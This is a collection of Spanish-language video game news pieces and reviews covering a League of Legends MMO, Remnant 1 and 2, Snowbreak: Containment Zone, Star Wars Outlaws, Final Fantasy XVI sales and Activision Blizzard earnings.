Según un alto cargo de Riot, «no apostaría su carrera» por un proyecto así
Desde su lanzamiento en 2009, League of Legends ha sido un pilar en el mundo de los videojuegos, y la expansión de su universo ha sido un tema de interés para muchos. Sin embargo, recientes declaraciones de un alto cargo de Riot Games han generado preocupación y especulación sobre el futuro del MMO basado en este universo.
Un Proyecto en Desarrollo desde 2020
El MMO de League of Legends fue confirmado a finales de 2020, pero no se espera su lanzamiento hasta 2025 o después. A pesar de la anticipación y el interés en este proyecto, recientes declaraciones de Guan Zeyuan, comentarista de League of Legends, han arrojado sombras sobre las expectativas del juego. Según el medio chino bilibili, un alto directivo de Riot Games, cuyo nombre no fue revelado, expresó dudas sobre el proyecto, afirmando: «si yo fuera un diseñador de juegos, no apostaría mi carrera a este proyecto».
Especulaciones y Reacciones
Estas declaraciones han causado revuelo en la comunidad de jugadores. Aunque no hay detalles específicos sobre los problemas de desarrollo, estas palabras sugieren que el MMO podría estar enfrentando desafíos significativos en su proceso creativo. Además, algunos jugadores han recordado problemas anteriores y la presión aparente para lanzar el juego.
Es importante mencionar que Greg Street, diseñador de World of Warcraft y quien fuera productor ejecutivo del MMO de Riot, abandonó el proyecto en marzo para crear su propio proyecto, lo que añade más incertidumbre al futuro del juego.
El universo de League of Legends es vasto y rico en lore, y la idea de un MMO basado en este mundo es sin duda emocionante para muchos. Sin embargo, el desarrollo de videojuegos es un proceso complejo, y no todos los proyectos llegan a buen puerto. ¿Será este MMO una adición exitosa al universo de LoL o quedará en el olvido? Solo el tiempo lo dirá.
Remnant 2 no solo merece tu tiempo, sino que es carne de GOTY
El primer Remnant es un gran juego, y Remnant 2 es, sin lugar a dudas, una obra maestra, y más por tan solo 50 euros de salida o 70 con pase de temporada a los tres futuros DLC. Una jugabilidad impoluta basada en Resident Evil 4 y Dark Souls en cuanto al combate y en Terraria en cuanto a la exploración, una historia interesante y unos sistemas RPG muy profundos y que dan lugar a muchas maneras de jugar. Es curioso que el mayor competidor contra el remake de Resident Evil 4 este año sea, bueno, un juego muy inspirado en el original.
Resident Evil 4 y Bloodborne son fuertes influencias en Remnant 2
Leon S. Kennedy en el multiverso de la locura
En fin: la premisa de Remnant 2 es sencilla: saltaremos de universo en universo buscando la manera de derrotar a los malos. Esto nos permite visitar mundos completamente distintos, con muchísima variedad de enemigos. Como comentaba, la jugabilidad es cercana a un Resident Evil 4; no tan survival horror, a menudo tendréis munición suficiente, pero sí que se siente parecido. La comparación clara es con Dark Souls: hay el equivalente a las hogueras, los frascos de Estus, una voltereta con fotogramas de invencibilidad, etc., etc. Comenté en mi análisis de Resident Evil 4 que la razón por la que tanto el remake como el original son tan buenos es el uso del ritmo: mezclar exploración y combate de modo que nunca nos estresaremos demasiado con un combate intenso ni nos aburriremos mucho explorando el mapa.
Es muy interesante la manera en que Gunfire Games consigue esto en un juego que tiene mapas proceduralmente generados; es decir, semi aleatorios. Tanto si sois fans de los Dark Souls como de Resident Evil 4 la jugabilidad os va a encantar, simplemente fluye: las animaciones son mucho mejor que en el primer juego, todo está más refinado, fluye, como quien dice. No os equivoquéis, la razón por la que os mantendréis enganchados es por el combate, el juego se siente genial a cada instante. Pero no tengáis miedo con la comparación a Dark Souls: la dificultad es seleccionable, y no hay ningún problema en empezar en una más fácil para equiparos e ir a las más difíciles después con una build ya hecha.
Hay cuatro dificultades: superviviente, veterano, pesadilla y apocalipsis. Superviviente, veterano y pesadilla están desde el inicio, pero apocalipsis se desbloquea al pasarnos la campaña por primera vez. Y tiene sentido, porque Gunfire ha equilibrado apocalipsis alrededor de estar completamente equipado y con todo a nivel máximo. Completar la campaña en mayores dificultades da mejores recompensas, y debido a la gran variedad posible de jefes o encuentros que aleatoriamente se generarán en cada campaña, hay un gran aliciente aquí para repetir el juego muchas veces.
De hecho, es posible jugar dos veces la campaña y no repetir dos veces el mismo encuentro en los tres universos principales. Por supuesto, hay partes fijas de la historia que no son aleatorias, pero es interesante la gran rejugabilidad que tiene el título. Esto también incluye el equipo: hay una cantidad enorme de desbloqueables: por ejemplo, empezaremos con cuatro o cinco clases, pero conforme juguemos podremos desbloquear más de diez. ¿Un juego que oculta la mayoría de su jugabilidad como desbloqueables? Sí, así es, en pleno 2023. Amuletos, anillos, armas, armadura, habilidades de personaje, habilidades de arma, modificaciones de arma, modificaciones de nuestro objeto curativo, rasgos que subir de nivel… hay una increíble cantidad de personalización y builds que nos darán horas y horas de diversión. Solo mi primera partida en pesadilla me llevó unas 30 horas y, al empezar de nuevo en apocalipsis, todavía me encuentro jefes y zonas nuevas todo el rato. ¡Y aún a las 80 horas sigo viendo jefes nuevos, y no tengo ni la mitad de las armas!
Una mejora sustancial en la narrativa
Uno de los puntos más criticados del original fue la narrativa, que era bastante corta, si bien bien escrita. Los desarrolladores se han tomado esto a pecho y la han expandido y han experimentado con ella. Sí, hay una historia principal que continúa directamente la trama del primero, pero lo innovador es la manera en que se trata la historia de cada mundo. Entre que nos desplazamos a cada mundo tendremos nuestra trama principal, pero en cada mundo hay dos grandes historias que nos harán ir por lugares totalmente distintos, y que se nos asignará aleatoriamente. Cada una de las dos tiene sus propios jefes y encuentros posibles, y he de decir que están muy bien escritas, y muy muy variadas. El juego a veces se siente como una antología en que iremos viendo diferentes posibles historias en el multiverso, algunas trágicas, algunas épicas. El diálogo está tan bien escrito que os acabaréis parando a hablar con todo el mundo, a leer todos los documentos.
Y, por si fuera poco, las conversaciones tienen consecuencias: se parecen más a, digamos, Fallout: New Vegas que a Fallout 4, si me permitís la comparación; si desagradamos a alguien, es posible que lo combatamos directamente o que nos encierren en una prisión y tengamos que escapar. O quizá nos den un objeto importante, un nuevo rasgo, una nueva arma. La atención al detalle de todas las ramificaciones es increíble. Y todo esto con una cinematografía muy profesional en las escenas. Me atrevería a decir que, en esta ocasión, la narrativa es un punto fuerte del juego, cosa que, a mi parecer, lo eleva sobre la saga Dark Souls en ese sentido, porque no solo desarrolla el mundo que hay de trasfondo, sino que hay, de verdad, unas historias que vais a vivir personalmente y que están muy bien contadas.
Uno de los mejores apartados artísticos del año
El apartado artístico es espectacular. Recordad: esto no es una empresa triple A, tienen un presupuesto más limitado. Pues lo que han conseguido con ese presupuesto es digno del mayor blockbuster del año: cada mundo está hecho con un detalle increíble, y son todos muy muy diferentes: desde las calles de estilo victoriano de Losomn al vacío de un planeta que se encuentra justo debajo de un agujero negro supermasivo; la dirección artística es sublime. Espectacular. La maestría de los artistas es innegable, hacía tiempo que los escenarios de un juego no me impresionaban tanto. Y lo inteligente del diseño de los enemigos y cómo se relacionan con su entorno es genial.
La música es pegadiza y funciona genial en las batallas contra los jefes; pero lo que de verdad destaca es el diseño de sonido en general. Cada enemigo no solo señala visualmente sus ataques, sino que el sonido que emiten y su dirección han sido cuidadosamente diseñados para que, sin necesidad de mirar atrás, sepáis exactamente cómo y de dónde vienen los ataques. Es uno de los mejores diseños de sonido que he visto, o más bien oído, en un juego en mucho, mucho tiempo. Solo por esto ya se merecen un premio.
Algunos ordenadores sufren mal rendimiento y errores
Me gustaría comentar que, en el momento del lanzamiento, el juego tiene problemas de rendimiento en algunos ordenadores en particular. Yo apenas tuve, pero es importante que os informéis y os aseguréis de que os funciona ya o si debéis esperar a una actualización futura. El cooperativo también tiene algunos problemas de conexión, ya que el juego prioriza el host de la partida para calcular los fotogramas de invencibilidad, lo que puede causar problemas si vuestra conexión no es perfecta. También hay una cantidad decente de errores en la primera semana, así que recomiendo tener respaldos de los guardados por si acaso.
La empresa no es muy grande y el juego está 20€ más barato que los triple A, así que estoy un poco más dispuesto a pasarles errores en las primeras semanas, aunque me veo obligado a decirlo para que decidáis con toda la información. En fin, si tenéis curiosidad por el primer Remnant, aquí os dejo con su análisis; y sí, merece la pena si venís del segundo.
Snowbreak: Containment Zone es el shooter gacha que ha tenido su estreno este 20 de julio. Lo hemos jugado y ya tenemos nuestras opiniones sobre sus aspectos positivos y negativos, su early game, end game y lo que le depara para el futuro.
Snowbreak: Containment Zone es un juego de ciencia ficción de rol y disparos en 3D. Potenciado por Unreal Engine 4, Snowbreak ofrece una experiencia de juego multiplataforma de nueva generación, permitiéndote compartir tu progreso en todos tus dispositivos.
La llegada de los Titanes en el «Primer Descenso» de 2057 dejó una ciudad llena de vida reducida a un yermo devastado, conocido como Zona de Contención Aleph. La respuesta de la humanidad no se hizo esperar, y unas pocas personas iluminadas por los espíritus de los dioses, llamadas «Manifestaciones», fueron localizadas y reunidas para formar la Fuerza Heimdall, un grupo paramilitar creado para luchar contra los Titanes, y tú eres su Analista. Armado hasta los dientes, entras en la Zona de Contención una y otra vez, buscando la manera de poner fin a este amargo invierno…
En Snowbreak, cada personaje brilla por sí solo. Tenemos personajes ofensivos y defensivos, con habilidades especiales, ultimate y de apoyo distintas entre ellos.
Las diferencias entre los personajes de 4 estrellas y sus equivalentes en 5 estrellas destacan por mejores estadísticas y elementos diferentes. Sin embargo, esto no quiere decir que los personajes de 4 estrellas sean inutilizables. De hecho, al ser de 4 estrellas, es más fácil obtener duplicados, lo que se traduce en que pueden volverse más fuertes en menos tiempo que su homólogo de 5 estrellas.
En Snowbreak, los personajes cada uno brilla por sí solo. Tenemos personajes ofensivos y defensivos, tanto en sus habilidades especiales, ultimate y de apoyo.
Las diferencias entre los personajes de 4 estrellas y sus equivalentes en 5 estrellas destacan por mejores estadísticas y diferente elemento, lo cual no quiere decir que los personajes de 4 estrellas sean inutilizables.
Es más, por ser de 4 estrellas, es más fácil obtener duplicados, lo cual se traduce en que sean más fuertes en menor tiempo que su homólogo de 5 estrellas.
Las armas son otro factor importante en el gameplay. Cada personaje, ya sea de 4 o 5 estrellas, utiliza el mismo tipo de arma (al menos eso es así al momento de hacer este artículo). Cada arma, a pesar de ser del mismo tipo, ya sea de 3, 4 o 5 estrellas, tiene diferentes habilidades pasivas, diferentes cargadores (que equivalen a la cantidad de balas que puede disparar), velocidad de disparo, velocidad de carga y elemento. Al igual que con los personajes, si obtienes duplicados de las armas, puedes fortalecer sus estadísticas base y su habilidad pasiva.
Adicionalmente, las armas cuentan con una mecánica de mejora. Al subir de nivel dicha arma, desbloqueas addons para esta y otras de su tipo, con un total de 4 addons para equipar. La mayoría de estos se pueden conseguir siguiendo la historia principal o mejorando las diferentes armas.
Todo lo anterior mencionado es obtenible en su mecánica gacha, la cual está dividida en personajes y armas. Al obtener un personaje de 5 estrellas, tienes la opción diaria de obtener fragmentos de forma limitada del personaje.
Mientras que las armas, su única forma de obtención de duplicados es mediante el gacha, ya sea el de armas promocional o permanente, el cual tiene un porcentaje de obtención más alto que el de un personaje.
¿Que es lo que podemos hacer en Snowbreak?
Lo primero que podemos hacer en Snowbreak: Containment Zone es seguir la guía de campaña y las misiones diarias para subir de nivel y así desbloquear nuevos modos y obtener recompensas.
Ya llegados al nivel 45, podemos decir que hemos desbloqueado todo el contenido hasta el momento y podemos pasar al endgame. Aunque a ese nivel aún no tendríamos completada la campaña, tenemos el contenido cooperativo y el contenido en solitario disponibles.
Para el contenido cooperativo, tenemos el modo HYPERLINK, donde estarán los contenidos fijos y temporales. «Patrulla del destino» es un modo cooperativo en el cual la meta es terminar hordas mientras te equipas con buffos para enfrentar a un jefe al final. Nuestra puntuación dependerá de nuestro desempeño, con un total de 1000 puntos por semana.
«Juego de valor» es un modo cooperativo temporal en el que el objetivo es enfrentarse contra 3 jefes en un tiempo limitado.
Para el contenido en solitario, hay muchos modos, incluyendo las expediciones, que se dividen en 3 modalidades de juego.
«Limpieza subterránea» es una serie de pruebas dividida en dos partes: «Área abandonada», donde necesitas cumplir objetivos y tienes un límite de tiempo para completarlo al 100%. Después del nivel 5, se requerirán dos equipos para poder completarlo y solo se podrá completar una vez.
Por otro lado, tenemos el túnel jotun, el cual es un contenido temporal y similar a la limpieza subterránea. Sin embargo, aquí tendremos 3 niveles de dificultad, y en cada sección nos dará un debuff.
En este modo, las recompensas serán monedas que podremos utilizar para obtener miembros de losgística (equipo para nuestros personajes) de 5 estrellas a elección.
Otro contenido de expediciones será la simulación neural, el cual consiste en enfrentarnos a bosses de forma semanal. Cada semana nos enfrentaremos a dos jefes, a los cuales agregaremos modificadores para complicarnos las cosas, pero las recompensas serán mayores. Adicionalmente, nos entregará monedas para comprar fragmentos de nuestros personajes (1 para personajes de 5 estrellas y 10 para personajes de 4 estrellas).
La última expedición es la evaluación táctica, el cual son pruebas divididas en fases. La última etapa es un boss, y este contenido solo se puede completar una vez.
Mientras tanto, el contenido diario, como en cualquier juego gacha, está limitado por la energía. Esta tiene un tiempo de recarga de 6 minutos y un límite de 160. Cuando terminemos de hacer la campaña, nos veremos limitados a hacer operaciones, donde podremos farmear diferentes componentes para fortalecer a nuestros personajes, especialmente «lluvia de fuego», que nos permitirá farmear nuestro equipo logístico.
Snowbreak: Containment Zone promete mucho y escucha a su comunidad. De los 12 días que ha tenido de vida el juego (al momento de escribir esta review), ha tenido muchas actualizaciones para arreglar errores y se nota que los desarrolladores están atentos a las opiniones de la comunidad, ya que han implementado mejoras en la calidad de vida que inicialmente no tenían y seguirán implementando más en el futuro.
Ahora, la crítica más notoria es el «capeo» de nivel para algunos niveles de la historia y algunos bugs que aún faltan por arreglar.
Actualmente, Snowbreak no es distribuido por algún publisher, lo cual significa que todo el dinero ganado va directamente a los desarrolladores. Esto es un punto a favor, ya que indica que no solo escucharán a la comunidad para realizar mejoras, sino que también pueden hacer realidad esas mejoras sin tener que responder a un tercero y que es lo más rentable para el juego monetariamente.
Descubrimos más detalles sobre el nuevo título de mundo abierto de Ubisoft ambientado en Star Wars
Ubisoft, en colaboración con Lucasfilm Games, está trabajando en una ambiciosa aventura de mundo abierto basada en el universo de Star Wars. Aunque el proyecto, conocido como Star Wars Outlaws, aún está en etapas tempranas de desarrollo, la comunidad de fans está impaciente por conocer más detalles sobre la trama, los personajes y las mecánicas de juego.
En una entrevista exclusiva con IGN, los desarrolladores de Ubisoft Massive Entertainment respondieron a varias de nuestras preguntas y compartieron detalles sobre la ambientación, el enfoque en la narrativa y la posibilidad de explorar planetas icónicos de la saga.
El mundo abierto de Star Wars Outlaws
Ubisoft promete una experiencia de mundo abierto inmersiva y vasta, a diferencia de lo que hemos visto antes en un videojuego de Star Wars. Podrás explorar varios planetas diferentes, tanto nuevos como ya conocidos por los fans de la franquicia, cada uno con sus propios ecosistemas, flora y fauna.
El juego presentará un excelente nivel de detalle y fidelidad en los gráficos, lo que permitirá a los jugadores sumergirse completamente en el universo de Star Wars. Junto a esto, el título contará con un sistema de día y noche y condiciones climáticas dinámicas que afectarán las exploraciones y las interacciones con otros personajes del juego.
Una historia rica y profunda en Star Wars Outlaws
Ubisoft y Lucasfilm Games están comprometidos con un enfoque narrativo sólido para Star Wars Outlaws. La trama presentará eventos y personajes icónicos de la saga, así como nuevos personajes que proporcionarán una historia fresca y emocionante. La narrativa en el juego se registrará y se contará en un estilo cinematográfico, con una excelente actuación de voz de actores de renombre y movimientos detallados de captura de movimiento.
Los desarrolladores también mencionaron que habrá un equilibrio entre la historia principal y las misiones secundarias. Las misiones secundarias expandirán el conocimiento y la comprensión que los jugadores tienen de la galaxia de Star Wars y ayudarán a mejorar las habilidades y las relaciones con otros personajes en el juego.
Lucha y tácticas en Star Wars Outlaws
En cuanto a la mecánica de juego, Ubisoft Massive Entertainment explicó que se centrarán en la estrategia y el uso inteligente del entorno en lugar de depender únicamente de la fuerza bruta. Los jugadores tendrán la oportunidad de desarrollar tácticas para enfrentarse a sus enemigos de diversas maneras, como emboscadas o sigilo.
Las batallas terrestres y las de naves espaciales serán una parte fundamental del juego. Los jugadores podrán pilotar diferentes vehículos y naves, desde los icónicos X-Wings y TIE Fighters hasta nuevos vehículos diseñados específicamente para Star Wars Outlaws.
Grandes expectativas
El proyecto Star Wars Outlaws de Ubisoft en colaboración con Lucasfilm Games promete ser una experiencia emocionante y ambiciosa para los fans de la saga. Con un mundo abierto vasto e inmersivo, una narrativa rica y profunda, mecánicas de juego tácticas y la posibilidad de explorar planetas icónicos de la franquicia, las expectativas son altas.
Aunque todavía no hay una fecha de lanzamiento confirmada para Star Wars Outlaws, los jugadores ansiosamente esperan más detalles sobre el proyecto y la emocionante oportunidad de explorar y vivir nuevas aventuras en el universo de Star Wars.
Las ventas de Final Fantasy XVI han sido objeto de discusión en la comunidad de los videojuegos, tanto por expertos como por los fanáticos del popular juego de Square Enix. El juego fue lanzado el pasado junio y ha sido todo un éxito en cuanto a críticas y recepción del público, la duda queda hoy en día en cómo están reflejándose esas críticas en las ventas del juego.
Con una larga historia detrás y una base de seguidores inmensa, Final Fantasy XVI hizo su debut en el mercado con mucha expectación. Sin embargo, a pesar de sus altos estándares de calidad, que NME describe como un «logro histórico», parece que la recepción de los consumidores no ha cumplido con las expectativas. La falta de cifras oficiales de ventas sólo ha aumentado la preocupación de la comunidad de aficionados.
Final Fantasy XVI consiguió la cifra de 3 millones de copias vendidas en su lanzamiento, que parecen una locura, pero están muy por detrás de los 5 millones de copias vendidas por su predecesor. Ya Square Enix había transmitido su preocupación al no ver un número demasiado alto de precompras.
Qué es lo que falla con Final Fantasy XVI
Según numerosas fuentes en línea, algunas en Reddit, los jugadores sugieren que el juego falla en conectarse con el público actual, y que en comparación con títulos anteriores de la serie, su lanzamiento se ha visto menos concurrido. Esta teoría es respaldada por el hecho de que Square Enix ha reducido su perspectiva de ingresos para el año fiscal que terminó en marzo de este año.
Una de las razones que se considera para justificar esta disminución es la impresión de que Final Fantasy XVI no ha llegado a la corriente principal de los juegos actuales, por lo que ha habido una menor respuesta por parte de los usuarios de plataformas de juego en línea. Además, el inminente lanzamiento de multitud de títulos, que también cuenta con una gran base de fans, ha llevado a algunos a especular que esto podría afectar aún más las ventas de Final Fantasy XVI.
A pesar de todo esto, sin embargo, es importante tener en cuenta que el mercado de los videojuegos es muy cambiante y la respuesta del público es siempre difícil de anticipar. Incluso los mejores y más grandes juegos pueden dar lugar a ventas decepcionantes, ya sea por una mala experiencia del usuario o problemas de marketing.
Optimismo dentro de lo malo
Los fans de Final Fantasy XVI todavía se mantienen optimistas, la recepción que ha tenido el juego en cuanto a críticas ha sido casi unánimemente positiva, con altas puntuaciones en Metacritic, por lo que creen que a largo plazo la perspectiva de ventas es positiva.
A pesar de los desafíos y los matices en torno a su lanzamiento, Final Fantasy XVI sigue siendo un éxito en las calificaciones y en los sentimientos de los jugadores. A medida que el juego continúa expandiéndose y creando comunidad entre los fanáticos, se espera que las cifras de ventas mejoren y que se obtengan resultados más positivos.
En conclusión, las ventas de Final Fantasy XVI han sido objeto de un intenso debate en la comunidad de videojuegos, pero a pesar de todo, el juego ha sido ampliamente aclamado por la crítica y ha sido muy bien recibido por los fans de la serie. Si bien la falta de cifras oficiales de ventas ha llevado a algunas especulaciones, es importante recordar que el mercado de los videojuegos es muy variable y dinámico, y que incluso los mejores y más grandes juegos pueden enfrentar desafíos imprevistos. Lo que queda claro es que Square Enix ha mantenido su compromiso de crear juegos de alta calidad para sus fans y que Final Fantasy XVI es un ejemplo brillante de esta visión.
Remnant: From the Ashes es la mayor sorpresa que me he llevado en los últimos años, y no quepo en mi propio hype en cuanto a la segunda entrega que saldrá en unos días. Sí, ya sé que usé el comodín de decir que Resident Evil 4 era una suerte de Dark Souls con pistolas… pero solo tomaba algunos elementos. Pues bueno, qué sorpresa cuando encontré Remnant: un juego en el que el crafteo de armas es igual que en Dark Souls, que tiene su versión de las hogueras, del frasco de Estus, que tiene volteretas con fotogramas de invencibilidad, secretos por todos lados y un gran énfasis en los jefes. Pero, en mi defensa, diré que Remnant se basó en Resident Evil 4 para diseñar sus armas y jugabilidad básica, como me comentaba uno de sus desarrolladores en el discord oficial, así que tampoco iba yo muy desencaminado.
Pregunté al desarrollador Tragic por las inspiraciones del juego, su respuesta: «Souls por razones evidentes, Terraria por la sensación de asombro, Resident Evil por la jugabilidad tipo supervivencia + fluidez con pistola/melé, Grim Dawn por los arquetipos dobles [en referencia a Remnant 2], etc.»
Soulslike pero es como Resident Evil 4 pero es como Terraria
Es tentador decir que Remnant es un juego tipo Dark Souls. Un Soulslike, como se estila decir en inglés. Y, en gran parte, lo es, pero es algo más. Ante todo, es un shooter en tercera persona muy sólido, con una gran variedad de armas que sirven propósitos muy distintos y ofrecen maneras totalmente únicas de jugar. Y para jugar las dos dificultades más altas os las vais a tener que aprender muy bien y saber cuándo usar cada una, porque los jefes son imperdonables. Pero en el buen sentido: tienen un diseño casi impecable que deja a la altura del betún otros títulos con mucho más presupuesto. Porque sí, Remnant es un juego con un presupuesto bastante modesto, pero bien usado. Tiene más contenido que muchos triple A por ahí, buen rendimiento (ajem, Red Dead Redemption 2) y pocos errores.
Pero en lo que más destaca es en su apartado RPG: hay una gran variedad de builds, de equipo viable, que nos deja expresarnos como jugadores como en muy pocos juegos. ¿Build de tanque? Claro. ¿Cañón de cristal? También. ¿Build para ir solo a melé? Pues sí, hay varias. Remnant deja mucho a vuestra creatividad para hacer lo que queráis.
Nuestro personaje puede llevar un collar, dos anillos, una pieza de cabeza, otra de pecho y otra en las piernas. La armadura determinará cuántos fotogramas de invencibilidad tendremos al esquivar, nuestras fortalezas contra el daño elemental, y también nos dará habilidades dependiendo del número de piezas del set que tengamos. Tener una sola pieza de un set siempre nos dará la pasiva de este. Por ejemplo, llevar las botas de cazador automáticamente nos dará una dispersión un 20% mejor con todas las armas, incluyendo las escopetas o las pistolas. Combinar armaduras es viable, siempre y cuando lo hagamos con cabeza, pero cabe destacar que los bonus extra por llevar toda una armadura son sustanciales. Hay una gran variedad de combinaciones, y un solo anillo puede cambiar completamente la manera en que juguemos.
El equipo potencial que podéis llevar en Remnant: From the Ashes
Las armas funcionan como en Dark Souls: todas son, fundamentalmente, viables, sirven diferentes propósitos, y las podemos mejorar para usarlas durante todo el juego. Cada una está meticulosamente diseñada y algunas muy bien escondidas por el mundo. Podremos mejorar cada arma con un mod, que básicamente es la magia de este juego. Hacer daño con un arma recuperará la magia ligada a este para poder usarla antes. Hay una gran variedad: habilidades curativas, que dan daño, ataques especiales. Las builds de habilidades son totalmente viables y muy interesantes.
¿Pero qué es exactamente lo que hacemos en Remnant? Tiene tres modos de juego: campaña, aventura y supervivencia (aunque este último es de DLC). Todos con algo en común: la generación aleatoria de niveles. Cada vez que juguéis la campaña, por ejemplo, será diferente, con jefes diferentes, zonas diferentes, y objetos diferentes; claro que hay zonas fijas, especialmente en la campaña, que corresponden a secciones particulares de la narrativa, como ciertos jefes. Las aventuras nos permiten generar aleatoriamente mundos en particular que visitaremos en la campaña, y supervivencia es un modo en el que debemos sobrevivir más mundos generados tanto como podamos empezando sin ninguna clase de equipo.
Remnant tiene cuatro dificultades: Normal y Difícil, que son las básicas, y Pesadilla y Apocalipsis, que están diseñadas para personajes completamente equipados. Pero no os equivoquéis: en ninguna podréis bajar la guardia del todo, aunque sí que es verdad que podéis cometer muchos más errores en normal. Hay una increíble variedad de enemigos con diferentes patrones de ataque, fortalezas y debilidades que deberemos aprender, y no hay nada de malo en empezar desde una dificultad más baja para hacernos a la idea. Yo personalmente empecé por Difícil, pero Normal es una buena opción también.
El siempre presente «Has muerto» de los Dark Souls vuelve, ahora con citas célebres. ¡Menos mal que nuestro protagonista es canónicamente inmortal!
La narrativa es simple y corta, pero bien ejecutada
La historia de Remnant es limitada, pero siempre clara, concisa, y nunca dejaremos de saber lo siguiente que debemos hacer. Hay algo que no me gusta de los juegos tipo Dark Souls, y es que a menudo su narrativa simplemente no existe. No la hay. Cero. Nada. Pero Remnant sí tiene una narrativa un tanto más clásica, tiene un inicio, un nudo y un final. Y he de decir que, si bien no es precisamente un Red Dead Redemption, cumple y me ha gustado.
Nuestro héroe llega al Pabellón 13, uno de los últimos bastiones de la Humanidad ante un apocalipsis causado por una civilización alienígena de hombres árbol, sí, esto es así, llamada La Raíz. Pronto descubrimos que el fundador del Pabellón se fue hace mucho tiempo de este para buscar una manera de derrotarlos, y hemos de seguirlo por el tiempo y el espacio. Lo cierto es que tiene su encanto, e incluso hay decisiones importantes que cambian la trama, aunque no afectan el final de ningún modo pero sí cómo llegamos a él. El guión es sólido, coherente y bien escrito; se nota la falta de presupuesto, pero nunca la falta de talento.
La dirección artística es bastante buena, con una magnífica banda sonora
Remnant tiene una variedad de enemigos muy grande, con diseños de lo más variopinto. Dragones, perros, criaturas humanoides, hombres cabra, bichos gigantes… Hay docenas y docenas de diseños muy imaginativos que creo son lo más destacable artísticamente del título. Los escenarios no se quedan atrás, y cada mundo es completamente diferente del anterior. Mundo helado, desolado, las calles vacías de la Tierra, y mucho más. La música destaca, con melodías orquestales muy profesionales que elevan muchas de las peleas con los jefes al más puro estilo Dark Souls.
Los perros también pueden ser vuestros aliados. Y los podéis acariciar. ¡Y hasta os dan un buff! Nota: no acariciéis perros de enemigos
Y, me gustaría tomar un momento para apreciar los diseños de las armas: cada modificación de arma la cambia estéticamente al estilo BioShock: un aspecto de arma por cada elemento del juego. Un gran detalle.
Un DLC pasable, y un gran DLC
Existen dos DLCs para Remnant: Los Pantanos de Corsus y el Sujeto 2923. Los Pantanos de Corsus incluye el modo roguelike supervivencia que comenté antes, en que debemos sobrevivir el máximo tiempo en mundos generados aleatoriamente, recabando equipo, y además, bueno, añade jefes y equipo. En particular, añade a la Reina del Iskal, y que me llevó seis horas en dificultad Pesadilla. Sin duda el jefe más difícil y más interesante del juego. También añade una skin extra para cada pieza de armadura del juego. Es un DLC un tanto extraño, no añade demasiado; si podéis conseguirlo con un descuento está bien. En cuanto al Sujeto 2923: es un gran DLC. Añade una campaña entera como epílogo a la historia principal que dura unas cinco horas, siendo una continuación directa, con más narrativa, mucho más equipo, dos nuevos tipos de mundo y muchos más jefes. Muy recomendable, sobre todo si queréis jugar Remnant 2 y enteraros de lo que pasa entre ambos.
Snowbreak: Containment Zone es un nuevo shooter que saldrá este 20 de julio a nivel mundial para las plataformas de iOS, Android y PC.
Para PC, el juego estará disponible tanto con su launcher propio como en la Epic Store. El juego contará con voces en inglés, japonés y chino simplificado, y con textos totalmente en español.
Snowbreak: En el año 2057, una criatura gigante llamada «Titán» cae del cielo, convirtiendo la «Zona Cero» en un lugar inhóspito y cubierto de nieve. Los Snowbreakers, un grupo valiente de héroes, se aventuran en la Zona Cero para desentrañar los misterios detrás del Titán y proteger a la humanidad. En su camino, enfrentarán peligros, descubrirán secretos y lucharán por la supervivencia en este mundo post-apocalíptico. La esperanza de la humanidad yace en sus manos mientras buscan la verdad en medio de la oscuridad.
PvE
Snowbreak es un juego PvE y contará con diferentes modos. En su mayoría, serán en solitario, pero tendrá modo cooperativo de hasta 3 jugadores.
El gameplay de Snowbreak se basará en un equipo de 3 personajes donde tienes un líder y 2 ayudantes. Podrás jugar con los 3 personajes, pero el líder dará un buff al equipo.
Cuando estés jugando con un personaje, tendrás tu disparo normal, habilidad especial y ultimate. Adicionalmente, tendrás 2 habilidades de apoyo y QTE (quick time event) por parte de tus otros personajes.
En cuanto a las armas, ofrecerá una amplia variedad de opciones que podrás obtener durante el juego.
Además, Snowbreak presentará un sistema de daño de cobertura, que recompensará la estrategia y el uso inteligente del entorno para protegerte y enfrentar a tus enemigos. Asimismo, tendrás la oportunidad de aprovechar debilidades específicas mediante el daño a tipos de armadura y la implementación de ataques con daño elemental.
Gacha
Como buen juego gacha, su monetización se centrará en este aspecto. El juego presentará banners de armas y personajes, ofreciendo una emocionante variedad de opciones para los jugadores. Contará con personajes clasificados en 4 y 5 estrellas, así como armas con calificación de 3, 4 y 5 estrellas. Además, habrá personajes permanentes y temporales. Cabe destacar que algunos personajes de 4 estrellas tendrán su homólogo de 5 estrellas, lo que sorprenderá a los jugadores con nuevas posibilidades y habilidades mejoradas.
El juego brindará generosas recompensas al momento de su lanzamiento, incluyendo personajes y armas de 5 estrellas, valiosas skins, gemas y mucho más. Desde ya, los jugadores pueden realizar la pre-descarga tanto para dispositivos móviles como para PC, asegurándose de estar listos para sumergirse en este emocionante universo desde el primer momento. ¡Prepárate para disfrutar de la adrenalina y las sorpresas que aguardan en este increíble mundo de Snowbreak: Containment Zone!
Pronto traeremos una review más extensa y detallada estén atentos a NG para mas contenido.
Los números que ofrece Activision Blizzard a sus inversores son realmente muy buenos
Activision Blizzard es responsable de algunas de las franquicias de videojuegos más populares y exitosas del mundo, como Call of Duty, World of Warcraft, Overwatch, Diablo y Hearthstone. Este hecho, sin duda, ha contribuido a sus beneficios en reservas netas que alcanzan una cifra de $1B durante el segundo trimestre de 2023. Pero, ¿qué significa exactamente el término «reservas netas»?
Las reservas netas hacen referencia al monto de ingresos generados a partir de las ventas de productos y servicios de una compañía, menos las devoluciones y cancelaciones. En el caso de Activision Blizzard, esta cifra se compone principalmente de sus videojuegos y servicios de suscripción. El hecho de que la empresa haya logrado generar $1B en este periodo demuestra su liderazgo en la industria y la solidez de sus negocios.
Una de las áreas que ha experimentado un crecimiento significativo es la división de eSports de la compañía, gracias a la exitosa Overwatch League y la Call of Duty League. La Overwatch League anunció recientemente una asociación con Coca-Cola y YouTube, mientras que la Call of Duty League comenzó su tercer año con un aumento en las audiencias online y en vivo. Estos resultados también se ven respaldados por la popularidad y el éxito de sus juegos en streaming, lo que genera un aumento en la publicidad y las oportunidades de negocio.
Además, la adquisición de King Digital Entertainment en 2016, los creadores de Candy Crush, ha impulsado a Activision Blizzard hacia la cima de la industria de juegos móviles. De hecho, según los datos de Q2 2023, la compañía ha experimentado un aumento del 12% en los usuarios mensuales activos de móviles, lo que se traduce en un incremento en la demanda y las ganancias.
Por otra parte, World of Warcraft, uno de los juegos más icónicos y longevos de la compañía, sigue siendo una fuente constante de ingresos y popularidad. Gracias a las constantes actualizaciones, mejoras en su contenido y expansiones, este MMORPG continúa conquistando a jugadores de todo el mundo, lo que se refleja en beneficios para Activision Blizzard.
